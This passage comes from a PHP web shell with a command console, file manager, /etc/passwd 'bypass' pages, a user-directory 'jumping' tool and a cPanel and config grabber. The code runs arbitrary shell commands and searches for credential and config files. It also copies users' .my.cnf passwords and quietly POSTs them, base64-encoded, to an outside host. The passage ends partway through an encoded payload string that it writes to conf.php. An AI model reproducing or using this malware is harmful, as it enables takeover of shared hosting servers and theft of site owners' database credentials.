                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</textarea><input type=submit value=\"submit\"></form>";
                    break;
                case 'hexdump':
                    $c = @file_get_contents($_POST['p1']);
                    $n = 0;
                    $h = array('00000000<br>', '', '');
                    $len = strlen($c);
                    for ($i = 0; $i < $len; ++$i) {
                        $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                        switch (ord($c[$i])) {
                            case 0:
                                $h[2] .= ' ';
                                break;
                            case 9:
                                $h[2] .= ' ';
                                break;
                            case 10:
                                $h[2] .= ' ';
                                break;
                            case 13:
                                $h[2] .= ' ';
                                break;
                            default:
                                $h[2] .= $c[$i];
                                break;
                        }
                        $n++;
                        if ($n == 32) {
                            $n = 0;
                            if ($i + 1 < $len) {
                                $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                            }
                            $h[1] .= '<br>';
                            $h[2] .= "\n";
                        }
                    }
                    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#000000><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                    break;
                case 'rename':
                    if (!empty($_POST['p3'])) {
                        if (!@rename($_POST['p1'], $_POST['p3'])) {
                            echo "Can't rename!<br>";
                        } else {
                            die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                    break;
                case 'touch':
                    if (!empty($_POST['p3'])) {
                        $time = strtotime($_POST['p3']);
                        if ($time) {
                            if (!touch($_POST['p1'], $time, $time)) {
                                echo "Fail!";
                            } else {
                                echo "Touched!";
                            }
                        } else {
                            echo "Bad time format!";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                    break;
                /* (С) 12.2015 mitryz */
                case 'frame':
                    $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                    if ($frameSrc[0] != '/') {
                        $frameSrc = '/' . $frameSrc;
                    }
                    if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                        $frameSrc .= '/';
                    }
                    $frameSrc .= htmlspecialchars($_POST['p1']);
                    echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                    break;
            }
            echo "</div>";
            hardFooter();
        }
        if ($os == 'win') {
            $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
        } else {
            $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
        }
        function actionConsole()
        {
            if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                $_POST['p1'] .= ' 2>&1';
            } elseif (!empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
            }
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                echo "d.cf.cmd.value='';\n";
                $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\0"));
                if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                    if (@chdir($match[1])) {
                        $GLOBALS['cwd'] = @getcwd();
                        echo "c_='" . $GLOBALS['cwd'] . "';";
                    }
                }
                echo "d.cf.output.value+='" . $temp . "';";
                echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                $temp = ob_get_clean();
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
            echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
            foreach ($GLOBALS['aliases'] as $n => $v) {
                if ($v == '') {
                    echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                    continue;
                }
                echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
            }
            echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
            if (!empty($_POST['p1'])) {
                echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
            }
            echo "</textarea><table style=\"border:1px solid #000000;background-color:#000000;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
            echo "</form></div><script>d.cf.cmd.focus();</script>";
            hardFooter();
        }
        function actionbypas()
        {
            hardHeader();
            echo "<center><h1>Bypass Tools</h1><div class=content><br>";
            echo "<th><a href='#' onclick='g(\"passw\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'> [ Bypass: /etc/passwd ] </a></th><p>";
            echo "<th><a href='#' onclick='g(\"disable\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'> [ Bypass: Disbaled Functions ] </a></th>";
            echo "</div>";
            hardFooter();
        }
        function actionSym()
        {
            hardHeader();
            echo "<center><h1>Symlink</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?sym' width='900' height='300'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionpassw()
        {
            hardHeader();
            echo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?passwd' width='900' height='400'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actiondisable()
        {
            hardHeader();
            echo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?disabled' width='900' height='300'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionPhp()
        {
            hardHeader();
            echo "<center><h1>Grab Cpanel</h1><div class=content><br>";
            @ini_set('display_errors', 0);
            function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
            {
                $ar0 = explode($marqueurDebutLien, $text);
                $ar1 = explode($marqueurFinLien, $ar0[$i]);
                return trim($ar1[0]);
            }
            echo "<br><br>";
            echo "<center>";
            $d0mains = @file('/etc/named.conf');
            $domains = scandir("/var/named");
            if ($domains or $d0mains) {
                $domains = scandir("/var/named");
                if ($domains) {
                    echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
                    $count = 1;
                    $dc = 0;
                    $list = scandir("/var/named");
                    foreach ($list as $domain) {
                        if (strpos($domain, ".db")) {
                            $domain = str_replace('.db', '', $domain);
                            $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                            $dirz = '/home/' . $owner['name'] . '/.my.cnf';
                            $path = getcwd();
                            if (is_readable($dirz)) {
                                copy($dirz, '' . $path . '/' . $owner['name'] . '.txt');
                                $p = file_get_contents('' . $path . '/' . $owner['name'] . '.txt');
                                $password = entre2v2($p, 'password="', '"');
                                echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner['name'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner['name'] . ".txt target=_blank>Click Here</a></td></tr>";
                                $dc++;
                                $success3 = "http://" . $domain . "|" . $owner['name'] . "|" . $password . "\r\n";
                                $ch = curl_init();
                                curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");
                                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
                                curl_setopt($ch, CURLOPT_POST, 1);
                                curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));
                                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                curl_setopt($ch, CURLOPT_HEADER, 1);
                                $buffer = curl_exec($ch);
                            }
                        }
                    }
                    echo "</table>";
                    $total = $dc;
                    echo "</center>";
                } else {
                    $d0mains = @file('/etc/named.conf');
                    if ($d0mains) {
                        echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
                        $count = 1;
                        $dc = 0;
                        $mck = array();
                        foreach ($d0mains as $d0main) {
                            if (@eregi('zone', $d0main)) {
                                preg_match_all('#zone "(.*)"#', $d0main, $domain);
                                flush();
                                if (strlen(trim($domain[1][0])) > 2) {
                                    $mck[] = $domain[1][0];
                                }
                            }
                        }
                        $mck = array_unique($mck);
                        $usr = array();
                        $dmn = array();
                        foreach ($mck as $o) {
                            $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));
                            $usr[] = $infos['name'];
                            $dmn[] = $o;
                        }
                        array_multisort($usr, $dmn);
                        $dt = file('/etc/passwd');
                        $passwd = array();
                        foreach ($dt as $d) {
                            $r = explode(':', $d);
                            if (strpos($r[5], 'home')) {
                                $passwd[$r[0]] = $r[5];
                            }
                        }
                        $l = 0;
                        $j = 1;
                        foreach ($usr as $r) {
                            $dirz = '/home/' . $r . '/.my.cnf';
                            $path = getcwd();
                            if (is_readable($dirz)) {
                                copy($dirz, '' . $path . '/' . $r . '.txt');
                                $p = file_get_contents('' . $path . '/' . $r . '.txt');
                                $password = entre2v2($p, 'password="', '"');
                                echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . '/>' . $dmn[$j - 1] . ' </a></td><td valign=top class=style2 style=width: 139px>' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href='" . $r . ".txt' target='_blank'>Click Here</a></td></tr>";
                                $dc++;
                                flush();
                                $l = $l ? 0 : 1;
                                $j++;
                            }
                        }
                    }
                    echo "</table>";
                    $total = $dc;
                    echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = ' . $total . '</h3><br />';
                    echo "</center>";
                }
            } else {
                echo "<div class=result><i><font color=#ff1111>ERROR</font><br><font color=#ff1111>/var/named</font> or <font color=#ff1111>etc/named.conf</font> Not Accessible!</i></div>";
            }
            echo " </div>";
            hardFooter();
        }
        function actionReseller()
        {
            hardHeader();
            echo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?reseller' width='900' height='470'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionFilesMan()
        {
            if (!empty($_COOKIE['f'])) {
                $_COOKIE['f'] = @unserialize($_COOKIE['f']);
            }
            if (!empty($_POST['p1'])) {
                switch ($_POST['p1']) {
                    case 'uploadFile':
                        if (is_array($_FILES['f']['tmp_name'])) {
                            foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                                if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                    echo "Can't upload file!";
                                }
                            }
                        }
                        break;
                    case 'mkdir':
                        if (!@mkdir($_POST['p2'])) {
                            echo "Can't create new dir";
                        }
                        break;
                    case 'delete':
                        function deleteDir($path)
                        {
                            $path = substr($path, -1) == '/' ? $path : $path . '/';
                            $dh = opendir($path);
                            while (($▟ = readdir($dh)) !== false) {
                                $▟ = $path . $▟;
                                if (basename($▟) == ".." || basename($▟) == ".") {
                                    continue;
                                }
                                $type = filetype($▟);
                                if ($type == "dir") {
                                    deleteDir($▟);
                                } else {
                                    @unlink($▟);
                                }
                            }
                            closedir($dh);
                            @rmdir($path);
                        }
                        if (is_array(@$_POST['f'])) {
                            foreach ($_POST['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                $f = urldecode($f);
                                if (is_dir($f)) {
                                    deleteDir($f);
                                } else {
                                    @unlink($f);
                                }
                            }
                        }
                        break;
                    case 'paste':
                        if ($_COOKIE['act'] == 'copy') {
                            function copy_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                            }
                        } elseif ($_COOKIE['act'] == 'move') {
                            function move_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (@is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                            }
                        } elseif ($_COOKIE['act'] == 'zip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                if ($zip->open($_POST['p2'], 1)) {
                                    chdir($_COOKIE['c']);
                                    foreach ($_COOKIE['f'] as $f) {
                                        if ($f == '..') {
                                            continue;
                                        }
                                        if (@is_file($_COOKIE['c'] . $f)) {
                                            $zip->addFile($_COOKIE['c'] . $f, $f);
                                        } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                            foreach ($iterator as $key => $value) {
                                                $zip->addFile(realpath($key), $key);
                                            }
                                        }
                                    }
                                    chdir($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'unzip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                        $zip->extractTo($GLOBALS['cwd']);
                                        $zip->close();
                                    }
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'tar') {
                            chdir($_COOKIE['c']);
                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                            ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                            chdir($GLOBALS['cwd']);
                        }
                        unset($_COOKIE['f']);
                        setcookie('f', '', time() - 3600);
                        break;
                    default:
                        if (!empty($_POST['p1'])) {
                            prototype('act', $_POST['p1']);
                            prototype('f', serialize(@$_POST['f']));
                            prototype('c', @$_POST['c']);
                        }
                        break;
                }
            }
            hardHeader();
            echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
            $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
            if ($dirContent === false) {
                echo "Can't open this folder!";
                hardFooter();
                return;
            }
            global $sort;
            $sort = array('name', 1);
            if (!empty($_POST['p1'])) {
                if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                    $sort = array($match[1], (int) $match[2]);
                }
            }
            echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
            $dirs = $files = array();
            $n = count($dirContent);
            for ($i = 0; $i < $n; $i++) {
                $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                    $files[] = array_merge($tmp, array('type' => 'file'));
                } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                    $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                    $dirs[] = array_merge($tmp, array('type' => 'dir'));
                }
            }
            $GLOBALS['sort'] = $sort;
            function cmp($a, $b)
            {
                if ($GLOBALS['sort'][0] != 'size') {
                    return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                } else {
                    return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                }
            }
            usort($files, "cmp");
            usort($dirs, "cmp");
            $files = array_merge($dirs, $files);
            $l = 0;
            foreach ($files as $f) {
                echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                $l = $l ? 0 : 1;
            }
            echo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<label><select name='p1'>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
            }
            echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
            if (class_exists('ZipArchive')) {
                echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
            }
            echo "<option value='tar'>+ tar.gz</option>";
            echo "</select></label>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
            }
            echo "<input type='submit' value='submit'></td></tr></form></table></div>";
            hardFooter();
        }
        function actionStringTools()
        {
            hardHeader();
            echo "<center><h1>Jumping :D</h1><div class=content><br>";
            $i = 0;
            @ini_set('display_errors', 0);
            echo "<pre><div class='margin: 5px auto;'>";
            $etc = fopen("/etc/passwd", "r") or die("<font color=white>Can't read /etc/passwd</font>");
            while ($passwd = fgets($etc)) {
                if ($passwd == '' || !$etc) {
                    echo "<font color=white>Can't read /etc/passwd</font>";
                } else {
                    preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                    foreach ($user_jumping[1] as $user_khoer_jump) {
                        $user_jumping_dir = "/home/{$user_khoer_jump}/public_html";
                        if (is_readable($user_jumping_dir)) {
                            $i++;
                            $jrw = "[<font color=white>R</font>] <a href='?path={$user_jumping_dir}'><font color=red>{$user_jumping_dir}</font></a>";
                            if (is_writable($user_jumping_dir)) {
                                $jrw = "[<font color=white>RW</font>] <a href='?path={$user_jumping_dir}'><font color=red>{$user_jumping_dir}</font></a>";
                            }
                            echo $jrw;
                            if (function_exists('posix_getpwuid')) {
                                $domain_jump = file_get_contents("/etc/named.conf");
                                if ($domain_jump == '') {
                                    echo " => ( <font color=white>I can't take the domain name</font> )<br>";
                                } else {
                                    preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                    foreach ($domains_jump[1] as $dj) {
                                        $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}"));
                                        $user_jumping_url = $user_jumping_url['name'];
                                        if ($user_jumping_url == $user_khoer_jump) {
                                            echo " => ( <u>{$dj}</u> )<br>";
                                            break;
                                        }
                                    }
                                }
                            } else {
                                echo "<br>";
                            }
                        }
                    }
                }
            }
            if ($i == 0) {
            } else {
                echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER['HTTP_HOST']) . "";
            }
            echo "</div></pre>";
            echo "</div>";
            hardFooter();
        }
        function actionSafeMode()
        {
            hardHeader();
            echo "<center><h1>Config Grabber</h1><div class=content><br>";
            @ini_set('display_errors', 0);
            $cgi_dir = mkdir('priv_sym', 0755);
            chdir('priv_sym');
            $file_mass = "conf.php";
            $mass_script = "PD9wSHAgJGhleCA9ICI3VnpyUnR0VkV2KzhSL0UvekxxNHNna1BrWG0yc3BVQUcrQjV2TnlkWkp5Rld3ZzVsMU9ua1RDK3NUUzJ0RlZiL08vWE15UEo4Z3VMOUh6WXF6cXFWZlNZL3ZWdytpWGg5c2ZZanZ0WmE0MXRHRE1uNGNPK1kxM3Fzdm91T2RqK3NMa1JqMWFEYks1VUV6b1FZWVA1SXpoNG5GMmQ5VUpic0hHWC9MQzlXbzZPVlhvUTI3VjY4c2ZtQm9FZkVWR1UxQTlNNE1hT2Fzd1Q0VzJOMmxKNWgyZkFDQlB1dldPSldqM0NmTWVocmlmQzJ2YWhsYTJ1Zjhnd0htOFBEcCswREZ2OXM5UFdiTUZnYmVsWVBhRDJPSjdVdjFjeDZubVkzbFNVYkt4ZXJKVS9IOVBITUdrYk5jZU43My9xRjR0M29NSzdhdSsyUDFsS2lnZlJxQ1UyMlhERUltYkxMWmRGcjBsZXZSVnNQQWdFY0FSWlkrcHJNYlVadWJaUVFHN2tNMXJBZDYxdWJSUGJqM2xtNDBic2lzQ2o3a010UStEN2taZGhZV2ZDOEh6b0NPS0pCOCtDV29oNnN1OVJEa1JxcnJnZGdnSG5ZbUZodExnWHMvR1FaK3h1clNUU3gyU2NpTDdqZTMwd2pDZDVqeTJvZXUzbmI0TUJDaFZ6OUJKZTBHbzRjSU1RTk1zdHJTL1V2NjVjS0I2Y2hJWmd3TTBOaVR5OVNzWWVSa3J3SUlJTkxORmxVN2F5cGVWOVJpd2NQZ3YrWG04djRxcTFQbXVYbEV2U2ZQbng2L3p0MzFJNm9oTE1aTVdrN3dxd2RDQWFhT3ZPdXVmdW5UVVlET0JWMmVqT3NpQUc2dkNyTU9jWlZnZEhHQ24zZ2dnUU1zdkdCY0dDSG1iZVNDUDdtYmo3cEhOU251ZUVOR0RXd05uVERxMDhZSDdqRkVTbUJKRHRYVU0zQkRFWTIvY2VjejJ6T2xUTnptcTU5TjVYWFA5V2RwcGpORmpya2RyaWtjV1ZhOTdRVkpxS01NYXdCYy96UnVzRjVvVTFsNWNJaGl6MkJMTlBNZVorNGt5UWM3M1luckJYckQrNXZzTVR2STBMcHJFZFIyOThCdTdrOFVsUkhRUm03amdXVWJlVjBBQ1VhMVdUdFhsaStRUmxGY1h3RE5QWWZzbnVuanJDN21YWHcrbVp4SUdLbk56Z0lmZjRpRE5FVm9SZWtzUXM0YU9sSWp4YVFyUERwL1hWTDRGTnM2YjJkcE